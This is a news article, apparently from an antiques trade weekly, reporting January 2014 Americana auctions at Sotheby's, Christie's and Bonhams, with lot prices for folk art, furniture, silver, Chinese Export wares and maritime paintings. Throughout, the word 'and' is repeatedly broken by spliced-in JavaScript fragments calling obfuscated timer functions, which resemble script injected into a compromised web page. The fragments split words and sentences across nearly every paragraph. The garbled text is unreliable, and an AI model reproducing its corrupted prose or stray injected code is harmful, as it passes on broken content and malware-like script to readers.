Sotheby’s Americana Week Auctions

Total $18.4 Million — Folk Art Shines

NEW YORK CITY — A packed salesroom watched as American folk art from the collection of Ralph O. Esmerian achieved $12,955,943 on January 25, setting a new record total for any auction of American folk art – a record that had stood at Sotheby’s since 1994. [See Antiques andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and The Arts Weekly, February 7, 2014]. The firm’s annual sale of Americana followed, which also featured a number of strong prices for folk art pieces, Sotheby’s Americana Week auctions totaled $18.4 million.

Folk art took center stage in the various owners auction of Americana, led by a rare Eider drake, purchased by Nathan Liverant andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Son, that achieved $767,000 above a high estimate of $500,000. The decoy was probably made on Monhegan Islandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in Maine, circa 1900, by an unknown craftsman. Other standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andout prices for folk art included a rare canvaswork picture depicting a hunting scene, worked by Anna Woodbury (Swett) of Boston, circa 1748, which fetched $185,000, going to C.L. Pricket Antiques.

Top prices for American furniture were led by the Asa Stebbins federal inlaid andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and figured mahogany tall case clock, which sold to Historic Deerfield for $185,000. The clock was made for Colonel Asa Stebbins — one of Deerfield, Mass., wealthiest andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and most respected citizens — circa 1800. A classical rosewood, brass inlaid andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ormolu mounted work table made in Boston, circa 1815, sold for $137,000, more than doubling its high estimate of $60,000.

Additional sale highlights included $149,000 paid by an anonymous bidder for Gilbert Stuart’s unfinished portrait of Jerome Bonaparte, youngest brother of Napoleon Bonaparte, First Consul of France, circa 1804; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and two lots that each achieved $137,000 — a classical rosewood, brass inlaid andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and ormolu mounted work table, Boston, circa 1815, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and John James Audubon’s “Say’s Squirrel,” 1831.

Also, a watercolor by Benjamin Henry Latrobe depicting a view toward the northwest, four to five miles east of Bloody Run, drawn from nature, 1815, sold for $100,000, while a rare Queen Anne cherrywood marble top pier table, Boston, circa 1755, finished at $100,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Stokes family rare Chippendale carved mahogany side chair, Philadelphia, circa 1765, went out at $87,500.

Finally, a nearly identical pair of Chippendale carved andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and figured mahogany piecrust tilt-top tea tables, carving attributed to the “De Young High Chest” carver, Philadelphia, circa 1770, was $81,250.

Prices reported include the buyer’s premium. For information, 212-606-7000 or www.sothebys.com.

Important Americana At Christie’s

A Tale Of Two Collections

By Laura Beach

NEW YORK CITY – Christie’s American decorative arts department tends to succeed with selectivity, putting together focused sales of high quality that attract public notice andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and plump the bottom line. The three-session auction that stretched over three days, January 23 to 27, folded together furniture, folk art, silver andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Chinese Export art. Realizing $10,189,025 on 355 lots sold, it hinged on the effective promotion of the estates of two well-known collectors, Eric Martin Wunsch andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Kristina Barbara Johnson.

Wunsch Collection

Wunsch, who died in March 2013, trained as an engineer. Methodical, scholarly andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and companionable, he approached Eighteenth Century American furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and silver andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Dutch Old Master pictures with academic rigor but enjoyed exchange with like-minded collectors andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and curators.

At a reception at Christie’s on January 22, Linda Kaufman, honored with the Eric M. Wunsch Award for Excellence in the American Arts, described him as a “dear friend” andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and recalled the happy hours that she andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and her late husbandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, George, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Ethel andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Martin Wunsch spent with a tight-knit circle of collectors — “the Stones, the Kilroys andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and three men from Yale, Bob McNeil, Dick Dietrich andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Charlie Montgomery.” The Kaufmans andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Wunschs were regular customers of Israel Sack, Inc, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and were especially close to the firm’s president, Harold Sack, remembers former Sack associate Deanne Levison.

Offered on January 23, American silver from various owners tallied $1,737,875 on 89 lots sold. Wunsch supplied most of the Seventeenth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Eighteenth Century examples. Bidding from the front row, Timothy Martin of S.J. Shrubsole in New York claimed the lion’s share. His greatest prize was a brandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andywine bowl, $317,000, made in the Dutch style with six lobed panels, an embossed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and chased flower base andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and beaded caryatid handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andles. Made by Cornelius Vandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander Burch of New York around 1690, the bowl is one of only 23 recorded examples of its kind andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and one of two known by Vandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander Burch. The other Vandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ander Burch bowl fetched $512,000 at Christie’s in 2001.

Also on Shrubsole’s shopping list was a pair of Paul Revere Jr, Boston, circa 1790 sauceboats for Boston merchant Moses Michael Hays, $161,000; a silver hilted sword by Thomas Edwards, Boston, circa 1740, $27,500; an alms dish by Jacob Hurd, Boston, circa 1737, $18,750; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a hoof spoon by Jurian Blanck Jr, New York, 1670–1690, $11,250.

Knocked down to Deanne Levison was a pair of circa 1715 John Coney of Boston chafing dishes with pierced rims andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and claw feet clutching wooden balls. Sold for $233,000, they bear the engraved crest of Boston merchant Thomas Hutchinson. Single chafing dishes identical to these are in the collections of Boston’s Museum of Fine Arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Metropolitan Museum of Art. For $30,000, the Atlanta, Ga., dealer also took a Myer Myers of New York brandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andy warmer, circa 1760, probably made for New York merchant Sampson Simson.

Including furniture, property from the Wunsch collection realized more than $2.2 million, prompting Andrew Holter, Christie’s head of American furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts, to note the market’s appetite for quality andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and provenance. Leading sales of Wunsch furniture was a circa 1770 Chippendale carved mahogany scallop-top tea table. Probably from the shop of Benjamin Random() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andolph with carving possibly by Richard Butts, the Philadelphia piece sold to a phone bidder for $905,000.

A 1760–80 New York Chippendale carved mahogany chest of drawers of elegant proportions went to an anonymous bidder in the room for $569,000.

Two tiny treasures were knocked down to an agent for a well-known New Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and collector. A rarity, a circa 1772 Boston parcel-gilt mahogany block-front dressing glass that descended in the Russell family, flew past its $10/15,000 estimate to fetch $185,000. A circa 1809 Federal sewing box attributed to Thomas Seymour with paint decoration attributed to John Ritto Penniman made $125,000, well above its estimate of $3/5,000.

Deaccessioned by Chipstone Foundation, the 1765–1775 Deshler family Philadelphia Chippendale mahogany side chair with carving attributed to John Pollard went to an anonymous bidder in the room for $725,000.

From other consignors, two Boston bombe chests of drawers dating to circa 1785 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and circa 1770 brought $485,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and $425,000, respectively.

Johnson Collection

Seventy-seven lots from the estate of Kristina Barbara Johnson, an early supporter andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and former trustee of the American Folk Art Museum who amassed andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and later sold important collections of scrimshaw, followed the Wunsch property. Johnson died in April 2013.

Patrick Bell andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Edwin Hild of Olde Hope Antiques advised Johnson’s family on the dispersal of the property, which in this session garnered $855,375. Christie’s captured the collection’s vibrancy in its installation. Shown in the galleries next to a large cigar store figure of Punch, consigned by actor Dustin Hoffman andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sold for $60,000, was Missionary Mary Proctor’s life-size acrylic painting of three spiritually rapt women, “For We Walk by Faith Not by Sight,” $6,875.

“This painting really describes Kristina. She followed her own light,” said Bell.

The assemblage documented, in a highly personal way, the folk-art field’s evolution since the 1960s, when Johnson first appeared on the scene. The session saw good prices for traditional American folk art. Perhaps nudged by the Monmouth County Historical Association’s recent retrospective on the artist, two pastel portraits of pretty women by the New Jersey itinerant Micah Williams made $27,500 each. A pair of oil on canvas portraits of a Baltimore ship owner andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his wife by the African American artist Joshua Johnson crossed the block at $35,000. An early Twentieth Century hooked rug depicting General Washington sailed past its $2/4,000 estimate to bring a startling $30,000.

Johnson was more foresighted in her selection of Twentieth Century self-taught art. By William Edmondson, “Mother andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Child,” a carved limestone sculpture only 11¼ inches tall, sold in the room to folk art collector Jerry Lauren for $263,000, more than tripling its estimate.

William Hawkins’ powerful enamel andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and mixed media on board painting “Two Deer in a Fiery Forest” went to Susan Baerwald of Just Folk, Summerlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and, Calif., for $37,500, with collector Edward V. Blanchard Jr, president of the American Folk Art Museum’s board of trustees, in pursuit. Blanchard acquired Thornton Dial’s arresting abstract oil on canvas, “Tiger,” $32,500, among other pieces.

The best paintings by Bill Traylor now fetch in the mid-six figures at auction. “Brown Mule” lacked some of the psychological complexity of Traylor’s finest work but was hardly unsuccessful at $37,500. The painting was one of several items that Johnson shrewdly picked up at fundraising auctions organized by the American Folk Art Museum over the years.

The marquee lot of the Johnson session, “The Old Covered Bridge” by Grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andma Moses, failed to sell. Christie’s had good reason to estimate the 1943 oil on canvas at $300/700,000. It is large — 36 by 45 inches — andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and compositionally pleasing. Other paintings by Moses have topped $1 million at auction, in 2006 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 2009. Passed at $280,000, this painting is likely to find a new home in good time.

From a Massachusetts collection, a paint-decorated fireboard opened at $55,000 but failed to meet reserve. Linda Lefko, co-author of Folk Art Murals of the Rufus Porter School: New Englandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape, 1825–1845, urged caution in attributing the unsigned painting to Rufus Porter, as Christie’s had done. “What I can say is that this is definitely school of Rufus Porter. It is certainly by the same painter who did many of the unsigned walls in the area of Greenfield, N.H., where this is from.”

Chinese Export Art

Christie’s concluded its juggernaut on January 27 with Chinese Export art. The session realized $3,034,750 on 130 lots sold. Highlights included a set of four Qianlong period nodding-head figures of court couples. Their rare large size — 173/8 inches tall — elegant costume andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and delectable palette sparked competition, securing a winning bid of $173,000 from a European dealer.

From the Wunsch collection, a circa 1785 Order of the Cincinnati plate brought $87,500. According to the Society of the Cincinnati, only one service was made in this pattern, the 302-piece service owned by George Washington.

In the paintings category, a circa 1794 oil on canvas view of the Viceroy of Canton in the great hall of his palace receiving the British envoy Lord Macartney made $149,000. The work is attributed to the school of Spoilum. Labeled Lamqua, an album of 80 leaves painted with fruits, flowers, trades andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and boys at play sold to the UK trade for $81,250.

Prices reported include the buyer’s premium.

For information, 212-636-2000 or www.christies.com.

Quixote Cabinet, Maritime Works

Triumph At Bonhams

NEW YORK CITY — The Alfred I Gold collection of maritime paintings sailed to success at Bonhams’ Important Maritime Paintings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Decorative Arts auction January 24.  Affectionately known as “Fritz,” Gold focused on ship portraiture related to the Liverpool-New York trade of the mid-1800s, referred to as “Queens of the Western Ocean.”

The collection of 16 canvases was 94 percent sold by lot, led by a James Edward Buttersworth composition, “Schooners from the New York Yacht Club Racing in the Narrows,” which attained $106,250. Additional highlights included “The Packet Ship Fanchon of the Black Star Line” by Samuel Walters, which more than doubled estimate to reach $100,000. Fine examples from Joseph Heard andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and John Hughes were also well received.

“Shipping off Birkenhead” by Robert Salmon was the auction’s top lot, bringing $221,000. Other highlights of note included James Edward Buttersworth’s “The American clipper ship Flying Cloud, Scudding in a Gale of Wind off Cape Horn,” which sold for $185,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a strong selection of paintings by Montague Dawson, such as “Sunset Glow,” which more than doubled estimate to reach $93,750.  

Gregg Dietrich, Bonhams’ maritime consultant, reflected on the collection’s success: “Fritz Gold had a passion for maritime history, as well as a discerning eye for artistic quality. The market was very responsive because his sophisticated approach andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and extensive knowledge were evident in every painting on offer. He was a true connoisseur andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an important member of the maritime art community. It was an honor to handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andle the collection.”

American andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and European Works

A day earlier, a Nineteenth Century rosewood cabinet, inlaid with scenes from the novel Don Quixote, was the protagonist in Bonhams’ fine American andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and European furniture, silver, folk andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and clocks auction January 23. Rendered in a Hispano Flemish Baroque style with gilt parcel, etched bone andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and faux tortoiseshell elements, the cabinet attained $149,000, nearly ten times over estimate after a fierce phone bidding war.

“The cabinet manages to be both a window into the Renaissance cultural andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and literary mind, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a highly decorative element that is almost contemporary in its aspect,” said Karl Green, director of furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts for Bonhams New York. “We are seeing the market respond to unique pieces that capture this era’s aspirations.”

An elaborately carved custom hall clock from Tiffany & Co. provided further evidence of the trend. The Asian-inspired clock, replete with ivory, brass andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and copper details, was created for the Seligman mansion in New York at the turn of the Twentieth Century. Each room in the opulent home had a theme, as was fashionable among the period’s aristocracy. The clock belonged to the Japanese-style smoking room, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and more than doubled estimate to bring $100,000. From the same time period, an Americana carved andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and polychromed wingspread eagle with flag andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and shield attributed to George Stapf fetched $23,750.

Additional highlights included a serene white marble sculpture of “Highlandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Mary” by Benjamin Edward Spence (1822–1866) that transported bidders to Nineteenth Century Britain. A neoclassical depiction of Scottish national poet Robert Burns’ lost love Mary Campbell, the serene beauty, realized $37,500, nearly ten times its estimate.

